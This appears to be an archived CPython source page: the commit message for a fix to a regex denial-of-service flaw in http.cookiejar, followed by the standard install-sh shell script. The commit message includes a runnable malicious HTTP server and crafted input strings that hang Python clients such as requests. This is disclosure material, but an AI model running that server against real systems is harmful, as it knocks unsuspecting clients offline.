Staging
v0.5.1
https://github.com/python/cpython
Revision 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC, committed by GitHub on 03 April 2020, 01:37:32 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent ed07522
Raw File
Tip revision: 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
Tip revision: 55a6a16
install-sh
#!/bin/sh
#
# install - install a program, script, or datafile
#
# This originates from X11R5 (mit/util/scripts/install.sh), which was
# later released in X11R6 (xc/config/util/install.sh) with the
# following copyright and license.
#
# Copyright (C) 1994 X Consortium
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC-
# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# Except as contained in this notice, the name of the X Consortium shall not
# be used in advertising or otherwise to promote the sale, use or other deal-
# ings in this Software without prior written authorization from the X Consor-
# tium.
#
#
# FSF changes to this file are in the public domain.
#
# Calling this script install-sh is preferred over install.sh, to prevent
# `make' implicit rules from creating a file called install from it
# when there is no Makefile.
#
# This script is compatible with the BSD install script, but was written
# from scratch.  It can only install one file at a time, a restriction
# shared with many OS's install programs.


# set DOITPROG to echo to test this script

# Don't use :- since 4.3BSD and earlier shells don't like it.
doit="${DOITPROG-}"


# put in absolute paths if you don't have them in your path; or use env. vars.

mvprog="${MVPROG-mv}"
cpprog="${CPPROG-cp}"
chmodprog="${CHMODPROG-chmod}"
chownprog="${CHOWNPROG-chown}"
chgrpprog="${CHGRPPROG-chgrp}"
stripprog="${STRIPPROG-strip}"
rmprog="${RMPROG-rm}"
mkdirprog="${MKDIRPROG-mkdir}"

transformbasename=""
transform_arg=""
instcmd="$mvprog"
chmodcmd="$chmodprog 0755"
chowncmd=""
chgrpcmd=""
stripcmd=""
rmcmd="$rmprog -f"
mvcmd="$mvprog"
src=""
dst=""
dir_arg=""

while [ x"$1" != x ]; do
    case $1 in
	-c) instcmd=$cpprog
	    shift
	    continue;;

	-d) dir_arg=true
	    shift
	    continue;;

	-m) chmodcmd="$chmodprog $2"
	    shift
	    shift
	    continue;;

	-o) chowncmd="$chownprog $2"
	    shift
	    shift
	    continue;;

	-g) chgrpcmd="$chgrpprog $2"
	    shift
	    shift
	    continue;;

	-s) stripcmd=$stripprog
	    shift
	    continue;;

	-t=*) transformarg=`echo $1 | sed 's/-t=//'`
	    shift
	    continue;;

	-b=*) transformbasename=`echo $1 | sed 's/-b=//'`
	    shift
	    continue;;

	*)  if [ x"$src" = x ]
	    then
		src=$1
	    else
		# this colon is to work around a 386BSD /bin/sh bug
		:
		dst=$1
	    fi
	    shift
	    continue;;
    esac
done

if [ x"$src" = x ]
then
	echo "$0: no input file specified" >&2
	exit 1
else
	:
fi

if [ x"$dir_arg" != x ]; then
	dst=$src
	src=""

	if [ -d "$dst" ]; then
		instcmd=:
		chmodcmd=""
	else
		instcmd=$mkdirprog
	fi
else

# Waiting for this to be detected by the "$instcmd $src $dsttmp" command
# might cause directories to be created, which would be especially bad
# if $src (and thus $dsttmp) contains '*'.

	if [ -f "$src" ] || [ -d "$src" ]
	then
		:
	else
		echo "$0: $src does not exist" >&2
		exit 1
	fi

	if [ x"$dst" = x ]
	then
		echo "$0: no destination specified" >&2
		exit 1
	else
		:
	fi

# If destination is a directory, append the input filename; if your system
# does not like double slashes in filenames, you may need to add some logic

	if [ -d "$dst" ]
	then
		dst=$dst/`basename "$src"`
	else
		:
	fi
fi

## this sed command emulates the dirname command
dstdir=`echo "$dst" | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`

# Make sure that the destination directory exists.
#  this part is taken from Noah Friedman's mkinstalldirs script

# Skip lots of stat calls in the usual case.
if [ ! -d "$dstdir" ]; then
defaultIFS='
	'
IFS="${IFS-$defaultIFS}"

oIFS=$IFS
# Some sh's can't handle IFS=/ for some reason.
IFS='%'
set - `echo "$dstdir" | sed -e 's@/@%@g' -e 's@^%@/@'`
IFS=$oIFS

pathcomp=''

while [ $# -ne 0 ] ; do
	pathcomp=$pathcomp$1
	shift

	if [ ! -d "$pathcomp" ] ;
        then
		$mkdirprog "$pathcomp"
	else
		:
	fi

	pathcomp=$pathcomp/
done
fi

if [ x"$dir_arg" != x ]
then
	$doit $instcmd "$dst" &&

	if [ x"$chowncmd" != x ]; then $doit $chowncmd "$dst"; else : ; fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd "$dst"; else : ; fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd "$dst"; else : ; fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd "$dst"; else : ; fi
else

# If we're going to rename the final executable, determine the name now.

	if [ x"$transformarg" = x ]
	then
		dstfile=`basename "$dst"`
	else
		dstfile=`basename "$dst" $transformbasename |
			sed $transformarg`$transformbasename
	fi

# don't allow the sed command to completely eliminate the filename

	if [ x"$dstfile" = x ]
	then
		dstfile=`basename "$dst"`
	else
		:
	fi

# Make a couple of temp file names in the proper directory.

	dsttmp=$dstdir/#inst.$$#
	rmtmp=$dstdir/#rm.$$#

# Trap to clean up temp files at exit.

	trap 'status=$?; rm -f "$dsttmp" "$rmtmp" && exit $status' 0
	trap '(exit $?); exit' 1 2 13 15

# Move or copy the file name to the temp name

	$doit $instcmd "$src" "$dsttmp" &&

# and set any options; do chmod last to preserve setuid bits

# If any of these fail, we abort the whole thing.  If we want to
# ignore errors from any of these, just make sure not to ignore
# errors from the above "$doit $instcmd $src $dsttmp" command.

	if [ x"$chowncmd" != x ]; then $doit $chowncmd "$dsttmp"; else :;fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd "$dsttmp"; else :;fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd "$dsttmp"; else :;fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd "$dsttmp"; else :;fi &&

# Now remove or move aside any old file at destination location.  We try this
# two ways since rm can't unlink itself on some systems and the destination
# file might be busy for other reasons.  In this case, the final cleanup
# might fail but the new file should still install successfully.

{
	if [ -f "$dstdir/$dstfile" ]
	then
		$doit $rmcmd -f "$dstdir/$dstfile" 2>/dev/null ||
		$doit $mvcmd -f "$dstdir/$dstfile" "$rmtmp" 2>/dev/null ||
		{
		  echo "$0: cannot unlink or rename $dstdir/$dstfile" >&2
		  (exit 1); exit
		}
	else
		:
	fi
} &&

# Now rename the file to the real destination.

	$doit $mvcmd "$dsttmp" "$dstdir/$dstfile"

fi &&

# The final little trick to "correctly" pass the exit status to the exit trap.

{
	(exit 0); exit
}
back to top